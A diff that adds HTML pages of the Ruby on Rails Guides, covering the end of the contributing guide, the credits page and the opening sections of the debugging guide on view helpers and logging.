+<p>Now get busy and add your code to Rails (or edit the existing code). Youโ€™re on your branch now, so you can write whatever you want (you can check to make sure youโ€™re on the right branch with <tt>git branch -a</tt>). But if youโ€™re planning to submit your change back for inclusion in Rails, keep a few things in mind:</p>
+<ul>
+	<li>Get the code right</li>
+	<li>Use Rails idioms and helpers</li>
+	<li>Include tests that fail without your code, and pass with it</li>
+	<li>Update the documentation</li>
+</ul>
+<h4 id="follow-the-coding-conventions">6.4 Follow the Coding Conventions</h4>
+<p>Rails follows a simple set of coding style conventions.</p>
+<ul>
+	<li>Two spaces, no tabs</li>
+	<li>Prefer <tt>&amp;&amp;</tt>/<tt>||</tt> over <tt>and</tt>/<tt>or</tt></li>
+	<li><tt>MyClass.my_method(my_arg)</tt> not <tt>my_method( my_arg )</tt> or <tt>my_method my_arg</tt></li>
+	<li>Follow the conventions you see used in the source already</li>
+</ul>
+<h4 id="sanity-check">6.5 Sanity Check</h4>
+<p>You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what youโ€™re doing and ask for feedback. Doing this in private before you push a patch out publicly is the โ€œsmoke testโ€ for a patch: if you canโ€™t convince one other developer of the beauty of your code, youโ€™re unlikely to convince the core team either.</p>
+<p>You might also want to check out the <a href="http://wiki.railsbridge.org/projects/railsbridge/wiki/BugMash">RailsBridge BugMash</a> as a way to get involved in a group effort to improve Rails. This can help you get started and help check your code when you&#8217;re writing your first patches.</p>
+<h4 id="commit-your-changes">6.6 Commit Your Changes</h4>
+<p>When you&#8217;re happy with the code on your computer, you need to commit the changes to git:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+git commit -a -m &quot;Here is a commit message&quot;
+</pre>
+</div>
+</notextile>
+
+<h4 id="update-rails">6.7 Update Rails</h4>
+<p>Update your copy of Rails. Itโ€™s pretty likely that other changes to core Rails have happened while you were working. Go get them:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+git checkout master
+git pull
+</pre>
+</div>
+</notextile>
+
+<p>Now reapply your patch on top of the latest changes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+git checkout my_new_branch
+git rebase master
+</pre>
+</div>
+</notextile>
+
+<p>No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.</p>
+<h4 id="create-a-patch">6.8 Create a Patch</h4>
+<p>Now you can create a patch file to share with other developers (and with the Rails core team). Still in your branch, run</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+git commit -a
+git format-patch master --stdout &gt; my_new_patch.diff
+</pre>
+</div>
+</notextile>
+
+<p>Sanity check the results of this operation: open the diff file in your text editor of choice and make sure that no unintended changes crept in.</p>
+<h4 id="create-a-lighthouse-ticket">6.9 Create a Lighthouse Ticket</h4>
+<p>Now create a ticket with your patch. Go to the <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/new">new ticket</a> page at Lighthouse. Fill in a reasonable title and description, remember to attach your patch file, and tag the ticket with the โ€˜patchโ€™ tag and whatever other subject area tags make sense.</p>
+<h4 id="get-some-feedback">6.10 Get Some Feedback</h4>
+<p>Now you need to get other people to look at your patch, just as you&#8217;ve looked at other people&#8217;s patches. You can use the rubyonrails-core mailing list or the #rails-contrib channel on <span class="caps">IRC</span> freenode for this. You might also try just talking to Rails developers that you know.</p>
+<h4 id="iterate-as-necessary">6.11 Iterate as Necessary</h4>
+<p>Itโ€™s entirely possible that the feedback you get will suggest changes. Donโ€™t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then itโ€™s worth making the tweaks and resubmitting. If the feedback is that your code doesnโ€™t belong in the core, you might still think about releasing it as a plugin.</p>
+<p>And then&#8230;think about your next contribution!</p>
+<h3 id="changelog">7 Changelog</h3>
+<p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/64">Lighthouse ticket</a></p>
+<ul>
+	<li>April 6, 2010: Fixed document to validate <span class="caps">XHTML</span> 1.0 Strict. <a href="http://jaimeiniesta.com">Jaime Iniesta</a></li>
+	<li>August 1, 2009: Updates/amplifications by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+	<li>March 2, 2009: Initial draft by <a href="credits.html#mgunderloy">Mike Gunderloy</a></li>
+</ul>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/credits.html
@@ -0,0 +1,174 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Credits
+</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Credits</h2>
+
+<p>We'd like to thank the following people for their tireless contributions to this project.</p>
+
+
+
+      
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        
+
+<h3 class="section">Rails Documentation Team</h3>
+
+<div class="clearfix" id="mgunderloy"><img alt="Mike Gunderloy" class="left pic" src="images/credits_pic_blank.gif"></img><h3>Mike Gunderloy</h3><p>
+  Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much.
+</p></div>
+<div class="clearfix" id="lifo"><img alt="Pratik Naik" class="left pic" src="images/credits_pic_blank.gif"></img><h3>Pratik Naik</h3><p>
+  Pratik Naik is a Ruby on Rails consultant with <a href="http://www.actionrails.com">ActionRails</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has an active <a href="http://twitter.com/lifo">twitter account</a>.
+</p></div>
+<div class="clearfix" id="fxn"><img alt="Xavier Noria" class="left pic" src="images/fxn.png"></img><h3>Xavier Noria</h3><p>
+  Xavier has been into Rails since 2005, he is currently a Rails consultant. Xavier is Rails committer and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as &quot;fxn&quot;.
+</p></div>
+<h3 class="section">Rails Guides Designers</h3>
+
+<div class="clearfix" id="jz"><img alt="Jason Zimdars" class="left pic" src="images/credits_pic_blank.gif"></img><h3>Jason Zimdars</h3><p>
+  Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="http://twitter.com/JZ">Twitter</a>.
+</p></div>
+<h3 class="section">Rails Guides Authors</h3>
+
+<div class="clearfix" id="fcheung"><img alt="Frederick Cheung" class="left pic" src="images/credits_pic_blank.gif"></img><h3>Frederick Cheung</h3><p>
+  Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.
+</p></div>
+<div class="clearfix" id="toretore"><img alt="Tore Darell" class="left pic" src="images/credits_pic_blank.gif"></img><h3>Tore Darell</h3><p>
+  Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no">Sneaky Abstractions</a>.
+</p></div>
+<div class="clearfix" id="zilkey"><img alt="Jeff Dean" class="left pic" src="images/credits_pic_blank.gif"></img><h3>Jeff Dean</h3><p>
+  Jeff Dean is a software engineer with <a href="http://pivotallabs.com">Pivotal Labs</a>.
+</p></div>
+<div class="clearfix" id="raasdnil"><img alt="Mikel Lindsaar" class="left pic" src="images/credits_pic_blank.gif"></img><h3>Mikel Lindsaar</h3><p>
+  Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby <a href="http://github.com/mikel/mail">Mail gem</a> and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of <a href="http://rubyx.com/">RubyX</a>, has a <a href="http://lindsaar.net/">blog</a> and <a href="http://twitter.com/raasdnil">tweets</a>.
+</p></div>
+<div class="clearfix" id="cmarques"><img alt="Cรกssio Marques" class="left pic" src="images/credits_pic_blank.gif"></img><h3>Cรกssio Marques</h3><p>
+  Cรกssio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at <a href="http://cassiomarques.wordpress.com">/* CODIFICANDO */</a>, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
+</p></div>
+<div class="clearfix" id="bensie"><img alt="James Miller" class="left pic" src="images/credits_pic_blank.gif"></img><h3>James Miller</h3><p>
+  James Miller is a software developer for <a href="http://www.jk-tech.com">JK Tech</a> in San Diego, CA.  Find me on GitHub, Gmail, Twitter, and Freenode as &quot;bensie&quot;.
+</p></div>
+<div class="clearfix" id="miloops"><img alt="Emilio Tagua" class="left pic" src="images/credits_pic_blank.gif"></img><h3>Emilio Tagua</h3><p>
+  Emilio Tagua &mdash;a.k.a. miloops&mdash; is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of <a href="http://eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as &quot;miloops&quot;.
+</p></div>
+<div class="clearfix" id="hawe"><img alt="Heiko Webers" class="left pic" src="images/credits_pic_blank.gif"></img><h3>Heiko Webers</h3><p>
+  Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back.
+</p></div>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/debugging_rails_applications.html
@@ -0,0 +1,887 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Debugging Rails Applications</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Debugging Rails Applications</h2>
+<p>This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to:</p>
+<ul>
+	<li>Understand the purpose of debugging</li>
+	<li>Track down problems and issues in your application that your tests aren&#8217;t identifying</li>
+	<li>Learn the different ways of debugging</li>
+	<li>Analyze the stack trace</li>
+</ul>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#view-helpers-for-debugging">View Helpers for Debugging</a><ul><li><a href="#debug"><tt>debug</tt></a></li> <li><a href="#to_yaml"><tt>to_yaml</tt></a></li> <li><a href="#inspect"><tt>inspect</tt></a></li> <li><a href="#debugging-rjs">Debugging <span class="caps">RJS</span></a></li></ul></li><li><a href="#the-logger">The Logger</a><ul><li><a href="#what-is-the-logger">What is the Logger?</a></li> <li><a href="#log-levels">Log Levels</a></li> <li><a href="#sending-messages">Sending Messages</a></li></ul></li><li><a href="#debugging-with-ruby-debug">Debugging with <tt>ruby-debug</tt></a><ul><li><a href="#setup">Setup</a></li> <li><a href="#the-shell">The Shell</a></li> <li><a href="#the-context">The Context</a></li> <li><a href="#threads">Threads</a></li> <li><a href="#inspecting-variables">Inspecting Variables</a></li> <li><a href="#step-by-step">Step by Step</a></li> <li><a href="#breakpoints">Breakpoints</a></li> <li><a href="#catching-exceptions">Catching Exceptions</a></li> <li><a href="#resuming-execution">Resuming Execution</a></li> <li><a href="#editing">Editing</a></li> <li><a href="#quitting">Quitting</a></li> <li><a href="#settings">Settings</a></li></ul></li><li><a href="#debugging-memory-leaks">Debugging Memory Leaks</a><ul><li><a href="#bleakhouse">BleakHouse</a></li> <li><a href="#valgrind">Valgrind</a></li></ul></li><li><a href="#plugins-for-debugging">Plugins for Debugging</a></li><li><a href="#references">References</a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="view-helpers-for-debugging">1 View Helpers for Debugging</h3>
+<p>One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:</p>
+<ul>
+	<li><tt>debug</tt></li>
+	<li><tt>to_yaml</tt></li>
+	<li><tt>inspect</tt></li>
+</ul>
+<h4 id="debug">1.1 <tt>debug</tt></h4>
+<p>The <tt>debug</tt> helper will return a &lt;pre&gt;-tag that renders the object using the <span class="caps">YAML</span> format. This will generate human-readable data from any object. For example, if you have this code in a view:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;%= debug @post %&gt;
+&lt;p&gt;
+  &lt;b&gt;Title:&lt;/b&gt;
+  &lt;%=h @post.title %&gt;
+&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You&#8217;ll see something like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+--- !ruby/object:Post
+attributes:
+  updated_at: 2008-09-05 22:55:47
+  body: It's a very helpful guide for debugging your Rails app.
+  title: Rails debugging guide
+  published: t
+  id: &quot;1&quot;
+  created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+</pre>
+</div>
+</notextile>
+
+<h4 id="to_yaml">1.2 <tt>to_yaml</tt></h4>
+<p>Displaying an instance variable, or any other object or method, in yaml format can be achieved this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;%= simple_format @post.to_yaml %&gt;
+&lt;p&gt;
+  &lt;b&gt;Title:&lt;/b&gt;
+  &lt;%=h @post.title %&gt;
+&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p>The <tt>to_yaml</tt> method converts the method to <span class="caps">YAML</span> format leaving it more readable, and then the <tt>simple_format</tt> helper is used to render each line as in the console. This is how <tt>debug</tt> method does its magic.</p>
+<p>As a result of this, you will have something like this in your view:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: &quot;1&quot;
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+</pre>
+</div>
+</notextile>
+
+<h4 id="inspect">1.3 <tt>inspect</tt></h4>
+<p>Another useful method for displaying object values is <tt>inspect</tt>, especially when working with arrays or hashes. This will print the object value as a string. For example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: xml; gutter: false; toolbar: false">
+&lt;%= [1, 2, 3, 4, 5].inspect %&gt;
+&lt;p&gt;
+  &lt;b&gt;Title:&lt;/b&gt;
+  &lt;%=h @post.title %&gt;
+&lt;/p&gt;
+</pre>
+</div>
+</notextile>
+
+<p>Will be rendered as follows:</p>
+<pre>
+[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+</pre>
+<h4 id="debugging-rjs">1.4 Debugging <span class="caps">RJS</span></h4>
+<p>Rails has optional built-in support to debug <span class="caps">RJS</span>. When enabled, responses are wrapped in a try/catch block that displays the caught exception using <tt>alert()</tt>, and then re-raises it.</p>
+<p>The flag to enable <span class="caps">RJS</span> debugging in your configuration files is <tt>config.action_view.debug_rjs</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.action_view.debug_rjs = true
+</pre>
+</div>
+</notextile>
+
+<p>or at any time setting <tt>ActionView::Base.debug_rjs</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionView::Base.debug_rjs = true
+</pre>
+</div>
+</notextile>
+
+<p>It is enabled by default in development mode, and disabled in the rest.</p>
+<div class='info'><p>For more information on debugging JavaScript, refer to <a href="http://getfirebug.com/">Firebug</a>, the popular debugger for Firefox.</p></div>
+<h3 id="the-logger">2 The Logger</h3>
+<p>It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.</p>
+<h4 id="what-is-the-logger">2.1 What is the Logger?</h4>
+<p>Rails makes use of Ruby&#8217;s standard <tt>logger</tt> to write log information. You can also substitute another logger such as <tt>Log4R</tt> if you wish.</p>
+<p>You can specify an alternative logger in your <tt>environment.rb</tt> or any environment file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Rails.logger = Logger.new(STDOUT)
+Rails.logger = Log4r::Logger.new(&quot;Application Log&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>Or in the <tt>Initializer</tt> section, add <em>any</em> of the following</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.logger = Logger.new(STDOUT)
+config.logger = Log4r::Logger.new(&quot;Application Log&quot;)
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>By default, each log is created under <tt>Rails.root/log/</tt> and the log file name is <tt>environment_name.log</tt>.</p></div>
+<h4 id="log-levels">2.2 Log Levels</h4>
+<p>When something is logged it&#8217;s printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the <tt>Rails.logger.level</tt> method.</p>
+<p>The available log levels are: <tt>:debug</tt>, <tt>:info</tt>, <tt>:warn</tt>, <tt>:error</tt>, and <tt>:fatal</tt>, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.log_level = Logger::WARN # In any environment initializer, or
+Rails.logger.level = 0 # at any time
+</pre>
+</div>
+</notextile>
+
+<p>This is useful when you want to log under development or staging, but you don&#8217;t want to flood your production log with unnecessary information.</p>
+<div class='info'><p>The default Rails log level is <tt>info</tt> in production mode and <tt>debug</tt> in development and test mode.</p></div>
+<h4 id="sending-messages">2.3 Sending Messages</h4>
+<p>To write in the current log use the <tt>logger.(debug|info|warn|error|fatal)</tt> method from within a controller, model or mailer:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+logger.debug &quot;Person attributes hash: #{@person.attributes.inspect}&quot;
+logger.info &quot;Processing the request...&quot;
+logger.fatal &quot;Terminating application, raised unrecoverable error!!!&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Here&#8217;s an example of a method instrumented with extra logging:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class PostsController &lt; ApplicationController
+  # ...
+
+  def create
+    @post = Post.new(params[:post])
+    logger.debug &quot;New post: #{@post.attributes.inspect}&quot;
+    logger.debug &quot;Post should be valid: #{@post.valid?}&quot;
+
+    if @post.save
+      flash[:notice] = 'Post was successfully created.'
+      logger.debug &quot;The post was saved and now is the user is going to be redirected...&quot;
+      redirect_to(@post)
+    else
+      render :action =&gt; &quot;new&quot;
+    end
+  end
+
+  # ...
+end
+</pre>
+</div>
+</notextile>
+
+<p>Here&#8217;s an example of the log generated by this method:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+  Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
